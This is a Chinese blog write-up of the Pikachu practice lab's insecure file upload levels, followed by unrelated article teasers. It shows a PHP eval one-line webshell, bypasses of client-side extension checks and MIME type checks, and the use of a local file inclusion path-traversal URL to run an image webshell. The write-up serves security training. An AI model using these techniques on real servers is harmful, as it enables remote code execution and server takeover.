当前位置: 首页 > news >正文

pikachu靶场- 文件上传unsafe upfileupload

pikachu靶场- unsafe upfileupload

  • 概述
  • client check
  • MIME type
  • getimagesize()

概述

不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:

  • 验证文件类型、后缀名、大小;
  • 验证文件的上传方式;
  • 对文件进行一定复杂的重命名;
  • 不要暴露文件上传后的路径;
  • 等等…

client check

上传一句话木马,改为jpg后缀

<?php @eval($_POST['cmd']);?>

在这里插入图片描述
回显了文件保存路径

vul/unsafeupload/uploads/1.jpg

打开路径发现并没有执行php,不符合预期,要想办法上传.php,抓包修改后缀试试,抓包的时候发现前端直接就检测后缀了,那可以先上传jpg在抓包改为php
在这里插入图片描述

在这里插入图片描述
打开页面发现php被执行了,使用蚁剑连接成功

MIME type

在这里插入图片描述

上传php文件抓包修改为image/jpeg类型

在这里插入图片描述
成功上传并被执行了

getimagesize()

在这里插入图片描述
尝试抓包修改后缀名试试
在这里插入图片描述

上传一个图片马,图片马可以上传,但是没有执行,需要有文件包含漏洞
在这里插入图片描述
来到靶场/vul/fileinclude/fi_local.php目录下,拼接图片马返回的url

/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/10/24/628730671a0b5396669385741068.jpg&submit=%E6%8F%90%E4%BA%A4

在这里插入图片描述
在这里插入图片描述
成功执行

相关文章:

pikachu靶场- 文件上传unsafe upfileupload

pikachu靶场- unsafe upfileupload 概述client checkMIME typegetimagesize() 概述 不安全的文件上传漏洞概述 文件上传功能在web应用系统很常见&#xff0c;比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后&#xff0c;后台会对上传的文件进行判断…...

java中this的内存原理是?

在Java中&#xff0c;this关键字是一个特殊的引用&#xff0c;指向当前对象的实例。它在以下几个方面发挥重要作用&#xff1a; 指向当前对象&#xff1a;this可以用来访问当前对象的属性和方法&#xff0c;尤其在参数命名与实例变量重名时&#xff0c;用于区分。 构造函数&a…...

Matlab 车牌识别技术

1.1设计内容及要求&#xff1a; 课题研究的主要内容是对数码相机拍摄的车牌&#xff0c;进行基于数字图像处理技术的车牌定位技术和车牌字符分割技术的研究与开发&#xff0c;涉及到图像预处理、车牌定位、倾斜校正、字符分割等方面的知识,总流程图如图1-1所示。 图1-1系统总…...

CUDA-求最大值最小值atomicMaxatomicMin

作者&#xff1a;翟天保Steven 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 实现原理 atomicMax和 atomicMin是 CUDA 中的原子操作&#xff0c;用于在并行计算中安全地更新共享变量的最大值和最小值。它们确…...

新的Midjourney就是一个增强版的Photoshop,你现在可以轻松的用它换衣服、换发型了

好久没有聊 Midjourney 了&#xff0c;昨晚他们发布了一项引人注目的新功能&#xff1a;AI 图像编辑&#xff0c;一个基于网页的加强版的 Photoshop 呼之欲出&#xff0c;让我大为震撼&#xff0c;也让用户们赞叹不已。 基于现有图像进行参考&#xff0c;进而生成新的图片&…...

Linux系统安装软件的4种方式【源码配置编译安装、yum安装、rpm包安装、二进制软件包安装(.rpm/.tar.gz/.tgz/.bz2)】

一.源码安装 linux安装软件采用源码安装灵活自由&#xff0c;适用于不同的平台&#xff0c;维护也十分方便。 &#xff08;一&#xff09;源码安装流程  源码的安装一般由3个步骤组成&#xff1a; 1.配置&#xff08;configure&#xff09; Configure是一个可执行脚本…...

基于Spring Boot的洪涝灾害应急信息管理系统设计与实现

摘要 近年来&#xff0c;全球气候变化加剧&#xff0c;洪涝灾害频发&#xff0c;给各国的经济发展和人民生活带来了巨大的威胁。为了提高洪涝灾害的应急响应能力&#xff0c;开发高效的应急信息管理系统变得至关重要。本文基于Spring Boot框架&#xff0c;设计并实现了一个洪涝…...

912.排序数组(桶排序)

目录 题目解法 题目 给你一个整数数组 nums&#xff0c;请你将该数组升序排列。 你必须在 不使用任何内置函数 的情况下解决问题&#xff0c;时间复杂度为 O(nlog(n))&#xff0c;并且空间复杂度尽可能小。 解法 class Solution { public:vector<int> sortArray(vect…...

IPC 进程间通信 消息队列

操作系统内核中采用一个链式队列管理消息,每个节点就对应一个消息&#xff1a; 操作系统规定了单个消息的数据长度不能超过8k(8192个字节)&#xff0c;一个消息队列的表长(节点数)最多不超过256个 利用消息队列进行通信的特点&#xff1a; 1. 全双工&#xff1a;任何参与通信的…...

opencv 图像翻转- python 实现

在做图像数据增强时会经常用到图像翻转操作 flip。 具体代码实现如下&#xff1a; #-*-coding:utf-8-*- # date:2021-03 # Author: DataBall - XIAN # Function: 图像翻转import cv2 # 导入OpenCV库path test.jpgimg cv2.imread(path)# 读取图片 cv2.namedWindow(image,1) …...

使用DolphinScheduler接口实现批量导入工作流并上线

使用DS接口实现批量导入工作量并上线脚本 前面实现了批量生成DS的任务&#xff0c;当导入时发现只能逐个导入&#xff0c;因此通过接口实现会更方便。 DS接口文档 DS是有接口文档的地址是 http://IP:12345/dolphinscheduler/swagger-ui/index.html?languagezh_CN&lang…...

pycharm导出环境安装包列表

pycharm导出环境安装包列表 一、导出安装包列表二、安装requirements.txt三、列表显示已安装的包四、显示特定包的信息 一、导出安装包列表 pip freeze > requirements.txt二、安装requirements.txt pip install -r requirements.txt三、列表显示已安装的包 pip list四、…...

分体式智能网关在现代电力物联网中的优势有哪些?

随着电力系统的不断数字化和智能化&#xff0c;电力物联网已经成为现代电力行业发展的重要方向。电力物联网通过各种智能设备和传感器实现电力系统的监测、数据采集和分析&#xff0c;从而优化电力资源配置&#xff0c;提高电网的安全性和稳定性。在这个背景下&#xff0c;&quo…...

第14篇:下一代网络与新兴技术

目录 引言 14.1 下一代网络&#xff08;NGN&#xff09;的定义与特点 14.2 IPv6协议的改进与未来应用 14.3 软件定义网络&#xff08;SDN&#xff09; 14.4 网络功能虚拟化&#xff08;NFV&#xff09; 14.5 量子通信网络 14.6 软件定义广域网&#xff08;SD-WAN&#x…...

物联网数据采集网关详细介绍-天拓四方

一、物联网数据采集网关的概述 物联网数据采集网关&#xff0c;简称数据采集网关&#xff0c;是物联网系统中的重要组成部分&#xff0c;位于物联网设备和云端平台之间。其主要职责是实现数据的采集、汇聚、转换、传输等功能&#xff0c;确保来自不同物联网设备的数据能够统一…...

2024软考网络工程师笔记 - 第10章.组网技术

文章目录 交换机基础1️⃣交换机分类2️⃣其他分类方式3️⃣级联和堆叠4️⃣堆叠优劣势5️⃣交换机性能参数 &#x1f551;路由器基础1️⃣路由器接口2️⃣交换机路由器管理方式2️⃣交换机路由器管理方式 交换机基础 1️⃣交换机分类 1.根据交换方式分 存储转发式交换(Store…...

C语言——字符串指针和字符串数组

目录 前言 一、定义区别 1、数组表示 2、指针表示 二、内存管理区别 1.字符数组 2.字符指针 三、操作区别 1、访问与修改 2、遍历 3...... 总结 前言 在C语言中&#xff0c;字符串随处可见&#xff0c;字符串是由字符组成的一串数据&#xff0c;字符串以null字符(\0)结尾&#…...

7-1回文判断(栈和队列PTA)

回文是指正读反读均相同的字符序列&#xff0c;如“abba”和“abdba”均是回文&#xff0c;但“good”不是回文。编写一个程序&#xff0c;使用栈判定给定的字符序列是否为回文。 若用C&#xff0c;可借助STL的容器实现。 输入格式: 输入待判断的字符序列&#xff0c;按回车…...

使用 NCC 和 PKG 打包 Node.js 项目为可执行文件(Linux ,macOS,Windows)

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 &#x1f4d8; 文章引言 步骤 1&#xff1a;…...

LeetCode:2747. 统计没有收到请求的服务器数目(滑动窗口 Java)

目录 2747. 统计没有收到请求的服务器数目 题目描述&#xff1a; 实现代码与解析&#xff1a; 滑动窗口 原理思路&#xff1a; 2747. 统计没有收到请求的服务器数目 题目描述&#xff1a; 给你一个整数 n &#xff0c;表示服务器的总数目&#xff0c;再给你一个下标从 0 开…...

项目管理工具--【项目策划任务书】模板

项目策划任务书是项目管理中的重要文件&#xff0c;它详细描述了项目的各个方面&#xff0c;以确保项目能够顺利进行。撰写项目策划任务书时需要考虑以下几个关键要素&#xff1a; 基本信息&#xff1a;包括项目名称、负责人、所在单位、联系方式以及日期等基本信息&#xff0c…...

雷池社区版那么火,为什么站长都使用雷池社区版??

雷池社区版是长亭科技开发的一款免费开源的 Web 应用防火墙&#xff08;WAF&#xff09;&#xff0c;具有诸多优势&#xff0c;因此值得使用。 防护效果强大。能够检测并防御各种网络攻击&#xff0c;包括 SQL 注入、跨站脚本&#xff08;XSS&#xff09;、跨站请求伪造&#x…...

分布式日志有哪些?

分布式日志系统&#xff08;Distributed Logging Systems&#xff09;是在分布式计算环境中用来收集、存储和管理来自多个节点的日志数据的系统。这些系统通常设计用于处理高并发、大规模的日志数据流&#xff0c;并提供强大的查询和分析功能。 一、定义与背景 分布式系统通常…...

ETCD未授权访问风险基于角色认证和启用https的ca证书修复方案

ETCD未授权访问风险安全漏洞修复方案 ETCD未授权访问风险介绍基于角色认证的访问控制&#xff08;BASIC认证&#xff09;基于ca证书的https访问控制&#xff08;TLS传输&#xff09;下载cfssl认证配置工具生成ca认证证书修改etcd配置方式一方式二 访问etcd节点信息 patroni使用…...

执行Django项目的数据库迁移命令时报错:(1050, “Table ‘django_session‘ already exists“);如何破?

一、问题描述&#xff1a; 当我们写Django时&#xff0c;由于自己的操作不当&#xff0c;导致执行数据库迁移命令时报错&#xff0c;报错的种类有很多&#xff0c;例如&#xff1a; 迁移文件冲突&#xff1a;可能你有多个迁移文件试图创建同一个表。数据库状态与迁移文件不同…...

问丫:创新社交平台的技术魅力与发展潜力

最近偶然间发现了一个很特别的社交网站&#xff0c;叫问丫。一开始我也只是抱着随便看看的心态去了解一下&#xff0c;没想到这个网站还蛮有意思的。 这个网站是由 LLMWorld 推出的&#xff0c;据说是一款跨时空跨次元的社交新产品。这个描述给网站蒙上了一层魔幻的纱布&#…...

iOS Swift逆向——被编译优化后的函数参数调用约定修复

头文件导入&#xff1a; typedef long long s64; typedef unsigned long long u64;typedef s64 Int; typedef u64 Bool;struct Swift::String {u64 _countAndFlagsBits;void *_object; };union Swift_ElementAny {Swift::String stringElement; };struct Swift_Any {Swift_Ele…...

self-supervised learning(BERT和GPT)

1芝麻街与NLP模型 我們接下來要講的主題呢叫做Self-Supervised Learning&#xff0c;在講self-supervised learning之前呢&#xff0c;就不能不介紹一下芝麻街&#xff0c;為什麼呢因為不知道為什麼self-supervised learning的模型都是以芝麻街的人物命名。 因為Bert是一個非常…...

基于RBF神经网络的双参数自适应光储VSG构网逆变器MATLAB仿真模型

“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 模型简介 此模型源侧部分采用光伏发电系统与混合储能系统&#xff08;蓄电池超级电容&#xff09;&#xff0c;并网逆变器采用虚拟同步发电机&#xff08;VSG&#xff09;控制&#xff0c;为系统提供惯量阻尼支撑。同…...

Openpyxl--学习记录

1.工作表的基本操作 1.1 工作表的新建打开与保存 1.1.1 创建工作簿 from openpyxl import Workbook from pathlib import Pathfile_path Path.home() / "Desktop" / "123.xlsx"# 1.创建工作簿 wb Workbook() # 2.访问默认工作簿 ws wb.active # 3.填充…...

湖北荆门建设银行网站/东莞今日头条新闻

通常&#xff0c;多线程之间需要协调工作。例如&#xff0c;浏览器的一个显示图片的线程 displayThread 想要执行显示图片的任务&#xff0c;必须等待下载线程 downloadThread 将该图片下载完毕。如果图片还没有下载完&#xff0c;displayThread可以暂停&#xff0c;当download…...

wordpress 做淘宝客/百度文库首页

为什么80%的码农都做不了架构师&#xff1f;>>> TC--Traffic Control TC是linux中的流量控制模块&#xff0c;利用队列规定建立起数据包队列&#xff0c;并定义了队列中数据包的发送方式&#xff0c;从而实现对流量的控制。 TC在流量控制中使用的队列分为两类&…...

百度云服务器做网站稳定吗/做网站的费用

说明&#xff1a; &#xff08;1&#xff09;本篇博客的内容&#xff1a;介绍微服务架构&#xff0c;需要遵循的原则&#xff1b; 目录 1.合理、正确使用微服务架构&#xff0c;带来的收益&#xff1b; 2.错误的使用微服务架构&#xff0c;带来的问题&#xff1b; 3. 微服…...

深圳大浪网站建设/产品怎么在网上推广

1、为什么要使用YARN&#xff1f; 为了提升集群的利用率、资源统一管理&#xff0c; 使用YARN为上层应用提供统一的资源管理和调度的平台。 2、YARN的优势&#xff1f; 资源的统一管理和调度&#xff1a; 集群中所有节点的资源(内存、CPU、磁盘、网络等)抽象为Container。计算…...

白云、从化公布重点场所/重庆百度快照优化

1、如果一个方法能被静态&#xff0c;那就声明他为静态的&#xff0c;速度可提高1/4;2、echo的效率高于print,因为echo没有返回值&#xff0c;print返回一个整型;3、在循环之前设置循环的最大次数&#xff0c;而非在在循环中;4、销毁变量去释放内存&#xff0c;特别是大的数组;…...

济宁网站运营/网页模板网站

“Bug总归会有解决的那一天&#xff0c;但是女生真的搞不定啊&#xff01;” 每到5.20&#xff0c;怎么讨女友欢心就成了老大难的问题。也许是和代码相处太久&#xff0c;很多程序员常常调侃自己已经丧失了哄女孩的能力。 为了表达爱意&#xff0c;程序员们使尽浑身解数&#…...